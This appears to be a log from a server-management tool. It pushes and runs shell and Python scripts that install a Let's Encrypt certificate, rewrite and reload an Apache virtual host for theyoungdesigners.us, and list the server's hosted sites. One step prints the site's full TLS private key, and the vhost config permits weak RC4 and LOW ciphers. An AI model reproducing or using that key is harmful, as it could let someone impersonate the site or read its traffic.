aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-15 06:00:12: 

chmod 755 /tmp/pkp265424; /tmp/pkp265424; rm /tmp/pkp265424

2026-06-15 06:00:12: 


dir=/etc/ssl/certs


2026-06-15 06:00:12: 

PUT: /tmp/pkp880236

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-15 06:00:12: 

chmod 755 /tmp/pkp880236; /tmp/pkp880236; rm /tmp/pkp880236

2026-06-15 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 48

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-15 06:00:12: 

PUT: /tmp/pkp332116

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_us.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf= 1'
fi


2026-06-15 06:00:12: 

chmod 755 /tmp/pkp332116; /tmp/pkp332116; rm /tmp/pkp332116

2026-06-15 06:00:12: 




2026-06-15 06:00:12: 

PUT: /tmp/pkp750750

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-15 06:00:12: 

chmod 755 /tmp/pkp750750; /tmp/pkp750750; rm /tmp/pkp750750

2026-06-15 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-15 06:00:12: Establishing a connection
2026-06-15 06:00:12: 

PUT: /tmp/pkp634001

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-15 06:00:12: 

chmod 755 /tmp/pkp634001; /tmp/pkp634001; rm /tmp/pkp634001

2026-06-15 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-15 06:00:12: 

PUT: /tmp/pkp183758

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-15 06:00:12: 

chmod 755 /tmp/pkp183758; /tmp/pkp183758; rm /tmp/pkp183758

2026-06-15 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf	1781

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-15 06:00:12: 

PUT: /tmp/pkp543434

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-15 06:00:12: 

chmod 755 /tmp/pkp543434; /tmp/pkp543434; rm /tmp/pkp543434

2026-06-15 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt	7465
af:cd:1a:f6:49:d8:53:99:50:b3:c5:b2:3b:3f:6e:aa

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBrthG3MLZnIBFzUKT7cZ83EgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE1MDUwMTQwWhcNMjYwOTEzMDUwMTM5WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAObrwFlZuwvlqkb6oVDp/LuhJl7AcgIEBw0IVp/fd1sztoe3vvgR8ulH
cTrqkSyi7OppjLIeSMEKIEcxThZAwAOCqbQpDfL+FrTNtS7J/IWGAUej2Hd6p3hY
/jXWmVUSvTLrdbnX7cwlMQ9DT2oTEOsD06wi9ttWbQuoDTWRZg2i3U917TOzDpdN
tYyMJk5ltU6W9PAfiIkJnsveuUCf3xn8Xr1uuX351cm0kY0YyPh2XcWP3oyk7Y1K
8rwYELzohXsshDAst2Ffp2V01CsNoex+glIanwQLZZTt1nNADApZRpzU9M2IeqmR
P0p0VnG1hSjegVPFt/tETKPZHDobhEMCAwEAAaOCAjwwggI4MA4GA1UdDwEB/wQE
AwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBRvOfLrVwbZCFrryAj0HyQagdb3qDAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId
1jIfgQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIu
aS5sZW5jci5vcmcvMDkGA1UdEQQyMDCCFHRoZXlvdW5nZGVzaWduZXJzLnVzghh3
d3cudGhleW91bmdkZXNpZ25lcnMudXMwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zMy5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9y
Z31VNy4Z2AAAAZ7J3bU5AAAEAwBHMEUCIDIQ/yYSY6ubXcyMbejQB0O2OrwVmxc2
q2npmsqdxmt2AiEA5uw3+/TlDEdHHDH79pDJt95PPYew518+wHqU9nf8TjYAfgBG
r4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ7J3bYTAAgAAAUACcig
+wQDAEcwRQIhAN5oK/GWXx7Sih9XESnDTzghIiXqaLAbrksGVRC2cuIUAiAmOcXI
HMu1TwKvrNxrDEnLDY7bWMJRt6ot61CaKDRbGjANBgkqhkiG9w0BAQsFAAOCAQEA
ru0Kgmglb3O0lFSLKzLYgY/ZKafVTo9CdtET6BJqEWLQTth6GJzUP5zkxqpsBrZT
08IMGNdEJEHKgSzFYOKQI77YmElZg/bhIduGS3+ipI5Pzr8uuKSEGerJO7ep6Ky3
962gyg19TWMCkYjm99UY0iouiRSxy1Sl0hgo5FKXCXN1odEafAQn+bLaP/7RrX48
UhVo/XDFiJBoyDU+jORcPdekYv9KV2ZQ5rDqSRHHq0Ve/DBFGFJF5TBAI6SLuI44
/gS3MtNqSvi+E2cGNe+IC/s6WwAO7iqB9U21rH1H6G8gfLEKQGwHJM7WZ38SKyV+
PsmeW90bmc2VMmboaoysxQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDm68BZWbsL5apG
+qFQ6fy7oSZewHICBAcNCFaf33dbM7aHt774EfLpR3E66pEsouzqaYyyHkjBCiBH
MU4WQMADgqm0KQ3y/ha0zbUuyfyFhgFHo9h3eqd4WP411plVEr0y63W51+3MJTEP
Q09qExDrA9OsIvbbVm0LqA01kWYNot1Pde0zsw6XTbWMjCZOZbVOlvTwH4iJCZ7L
3rlAn98Z/F69brl9+dXJtJGNGMj4dl3Fj96MpO2NSvK8GBC86IV7LIQwLLdhX6dl
dNQrDaHsfoJSGp8EC2WU7dZzQAwKWUac1PTNiHqpkT9KdFZxtYUo3oFTxbf7REyj
2Rw6G4RDAgMBAAECggEAYRQIM6f47gn5uUhBTBJqWPjo+BmAdF98FVsFi8V22IUX
fdvd8U0eaTrLG+Ej8fd2kR+ZcgIwRNM8eaF9OfazomYqcN53ikmOgykdu9NXkUyi
Ohtj8+rA/+OtzzVuFalAl+kL/3qK8nFKPCfoeWgViy97K9kxHUmqoyVdlEERfbZH
NpHMWCf0dRsujBJWCjOAVY4BuO9QPVTzBI4S6R9+0tJqper+7LVrNDxyO/7S5qHl
51+WdxE4FM5+lPi1q05/XH/iSy/IijiLjR3WAHaa/0wiPKd6xXx90vo9RP0vsgmL
d72xb7WxWNex1u4wZ915hha+lE7jrfjvub7Cyz1Y4QKBgQD7ftgTJoBt72rk73eF
rW5HCanfCtS2/fls3yehdhE0SAgrL0ziTOwdVqF7sm3wGW6RDw2lPBtrJiqv43wp
9gjKCPnqkog8oDs9pJRSq4Nv/79TUtjrshRz0tOyhWvs7wVi37Q+OwKNXXbNuvsJ
XvRwTeLH/T04zzATnbASZG5U4wKBgQDrDpGf7FSM63CfjRYFKh27Euawta+alz9f
/ioFrN3XnfglX3tfRDp76adZNv5jw4iYmRPMXQrDw9Z6ElS2Pdar1zlTE8fuCoNm
Rt5sZNzFSFkEOFohBwiz2kTqwB+JKieuAJV+f3b2T1Tu3yUpZIWvdGCXzve8q6cf
XjaP5lqRIQKBgQCrCBs4AtIKcWyXnocBAO3jH55Hkd0RSW0L7kLMWjfe/zGW9Mbr
i3ZziUuujKyZQSJhQgR8n4DiAIW9Mg5plulpRGt5bAd8e1duV3OLORrc2ucpakkd
GPExx2mymWvJKM/X6txwCb91ld9Kj+NS/yFrEnyslvrAnJ5MaMup5mTmEwKBgGRd
WSKu1z9AfFsz87YK0J0DKgtD2JIqiH3lWW4I7MRXCBB1H4mC6XHlR3ZZe+9/GwEF
Q6XcCG+kXBzNXOxfpRzEjg6CALkMNiTil7AytO1rwc6CfUFi7n1U8l5F4HFB1aV/
TFWx+UqcfwhrsUNmT4qmJ2RKlA80P+yt3qA83GjhAoGAKb99Usbx3B6GOWJ47Jlx
wB6naApPIV6kGfPm+cOfdSjgerG2VIJ1KJvfZVjB6VYXgO/XVpzEw2bcEJI65AST
feYzLdlVJP0YK0htucnNE737SrZBA03e6Fi8Ruzxm0hxjrEoNHyZmvpwohJR2Daa
Yf07TZMzaDL1Pe+IGX4//No=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
